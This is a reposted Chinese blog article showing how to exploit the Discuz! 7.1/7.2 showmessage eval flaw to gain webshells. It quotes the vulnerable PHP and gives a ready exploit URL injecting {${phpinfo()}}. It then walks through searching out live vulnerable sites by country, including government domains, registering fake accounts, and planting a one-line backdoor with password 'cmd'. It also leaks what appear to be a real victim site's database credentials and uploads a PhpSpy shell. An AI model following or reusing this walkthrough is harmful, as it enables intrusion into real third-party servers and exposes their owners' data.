DZ7.1 and 7.2 0远程代码执行漏洞获取Webshell
Simeon [antian365.com]
Crossday Discuz! Board 论坛系统（简称 Discuz! 论坛）是一个采用 PHP 和 MySQL 等其它多种数据库构建的高效论坛解决方案。作为商业软件产品， Discuz! 在代码质量，运行效率，负载能力，安全等级，功能可操控性和权限严密性等方面有着良好的口碑。对于站长而言，利用 Discuz! 均能够在最短的时间内，花费最低的费用，采用最少的人力，架设一个性能优异、功能全面、安全稳定的社区论坛平台。它能运行于Windows平台和Linux平台，目前已经有超过100万的用户。在本文以前Discuz! 论坛即时有漏洞也因为种种原因难以获取Webshell，而本次出现的漏洞只要是注册用户即可轻松获取Webshell。在Discuz！ 7.1与7.2版本中的showmessage函数，由于eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。该漏洞的首发是T00ls核心团队，下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell。
一、漏洞来自showmessage函数
function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com
global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
define('CACHE_FORBIDDEN', TRUE);
$hookscriptmessage = $show_message = $message;$messagehandle = 0;
$msgforward = unserialize($_DCACHE['settings']['msgforward']);
$refreshtime = intval($msgforward['refreshtime']);
$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
$msgforward['refreshtime'] = $refreshtime * 1000;
$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
$seccodecheck = $seccodestatus & 2;
if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
if($fp = @fopen($statlogfile, 'a')) {
@flock($fp, 2);
if(is_array($funcstatinfo)) {
$funcstatinfo = array_unique($funcstatinfo);
foreach($funcstatinfo as $funcinfo) {
fwrite($fp, funcstat_query($funcinfo, $message)."\n");
}
} else {
fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
}
fclose($fp);
$funcstatinfo = $GLOBALS['funcstatinfo'] = '';
}
}
if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
write_statlog($message);
}
if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
updatesession();
dheader("location: ".str_replace('&', '&', $url_forward));
}
if(!empty($infloat)) {
if($extra) {
$messagehandle = $extra;
}
$extra = '';
}
if(in_array($extra, array('HALTED', 'NOPERM'))) {
$discuz_action = 254;
} else {
$discuz_action = 255;
}
include language('messages');
$vars = explode(':', $message);//只要含:就可以了
if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割
eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化，可以自定义，from www.oldjun.com
} elseif(isset($language[$message])) {
$pre = $inajax ? 'ajax_' : '';
eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
unset($pre);
}
......
}
二、DZ的全局机制导致了未初始化的参数可以任意提交
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
三、misc.php正好有个可以自定义message的点，其实也是未初始化：
elseif($action == 'imme_binding' && $discuz_uid) {
if(isemail($id)) {
$msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
$msn = explode("\t", $msn);
$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
$msn = "$msn[0]\t$id";
$db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
showmessage('msn_binding_succeed', 'memcp.php');
} else {
if($result == 'Declined') {
dheader("Location: memcp.php");
} else {
showmessage($response['result']);//$response没有初始化，可以自定义，from www.oldjun.com
}
}
}
四、漏洞利用
showmessage函数里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。注册一个用户登陆,然后提交misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}
五、漏洞的具体应用
1.搜索“Powered by Discuz!7.2”
在Google中进行Discuz!7.2的定位搜索，在Google输入框中输入“Powered by Discuz!7.2 site:kr”搜索韩国的Discuz!7.2版本的站点，如图1所示，结果出来有3380条记录。想搜索哪个国家的就直接在site后面进行变更，例如搜索国内的网站：“site:com.cn”，政府网站“site:org.cn”。
图1定位搜索Discuz!7.2版本的论坛
2.验证并注册论坛用户
在图1中从第一个往最末记录，依次打开搜索记录，如图2所示，第一个记录技能打开，而且在其中还显示为中文，单击注册链接，注册为开论坛的一个用户。注册用户时用户名和密码可以随意选取，只要不重复即可，如果不想接收网站的注册信件，防止被他人利用电子邮件进行其它活动可以使用假的邮件地址，如图3所示，总之目的只有一个那就是成为该论坛的会员，便于后期得到Webshell。
图2 查看搜索结果
图3 注册用户
3.修改exp代码中的地址
discuz7.2 exp是由T00ls.net放出来的，呵呵，版权属于他们哦！如图4所示，在修改action的地址为“http://**********.co.kr/dc/misc.php”，该地址是misc.php的实际地址，修改完毕后保存即可。
图4修改exp代码中的地址
4.获取TID并提交
用户注册成功后，在论坛中通过观看最新帖子可以看到地址栏中包含有TID一项，例如“http://www.antian365.com/redirect.php?tid=5634&goto=lastpost#lastpost”，其中的tid为“5634”。Tid顾名思义就是帖子ID。获取该ID后在exp中将该ID输入后进行提交，如图5所示。
图5 获取tid并将其放入exp中进行提交
技巧：
（1）在有些大的论坛中由于使用了优化技术，因此论坛的页面都是静态的，在静态的页面中是看不到tid的，例如“http://bbs.51cto.com/thread-648810-1.html”，但当鼠标移动到回复按钮处时会给出一个地址，该地址中包含有tid。
（2）Exp提交成功后会出现一些提示，如果给出“Binding Failed.Visit MSN IMME Q&A,Please.”提示，如图6所示，则说明该系统已经修补了漏洞或者采取了一些安全措施，无法再进行利用。
图6 未能成功的exp
（3）一句话木马成功与否的测试。直接在论坛地址后加上“/forumdata/cache/usergroup_01.php”进行访问，例如某网站的论坛地址为：
http://www.xxx.com.hk/discuz/，则一句话后门的地址为：
http://www.xxx.com.hk/discuz/forumdata/cache/usergroup_01.php
如果访问后未出现错误提示，那么恭喜你，成功了！
5.获取Webshell
如图7所示，在“lanker一句话PHP后门客户端3.0内部版”的后门地址中输入刚才提交的地址“http://**********.co.kr/dc/forumdata/cache/usergroup_01.php”，密码是“cmd”。在模块中选择查看服务器基本信息，如图7所示，获悉该系统为linux系统以及该网站所在的文件路径。
图7 一句话后门执行成功
6.读取数据库连接文件
在模块中选择读取文件，并输入数据库连接文件的地址“****/dc/config.inc.php”，如图8所示，成功获取该论坛数据库的敏感信息：
$dbhost = 'localhost'; // 数据库服务器
$dbuser = 'skycheer'; // 数据库用户名
$dbpw = 'sky0127'; // 数据库密码
$dbname = 'skycheer'; // 数据库名
$pconnect = 0;
图8获取论坛数据库连接信息
7.上传大马
使用一句话管理实在是不方便，在功能模块中选择上传文件，使用空的路径直接将本地的大马上传到一句话木马所在的路径，上传成功后直接访问，如图9所示，成功得到我们熟悉的PhpSpy ver 2008界面。至此已经获取Discuz！7.2版本的Webshell，大家都知道Discuz！论坛的Webshell很难拿到，因此本漏洞的珍稀程度可想而知。
图9 上传大马
8.后记
Discuz！7.1&7.2远程溢出漏洞出来后，国内有关Discuz！的大中小论坛基本没有什么幸免，安全做的好的去掉了cache的执行权限，将其权限设置为无，逃过劫难。
本文转自 simeon2005 51CTO博客，原文链接:http://blog.51cto.com/simeon/276114
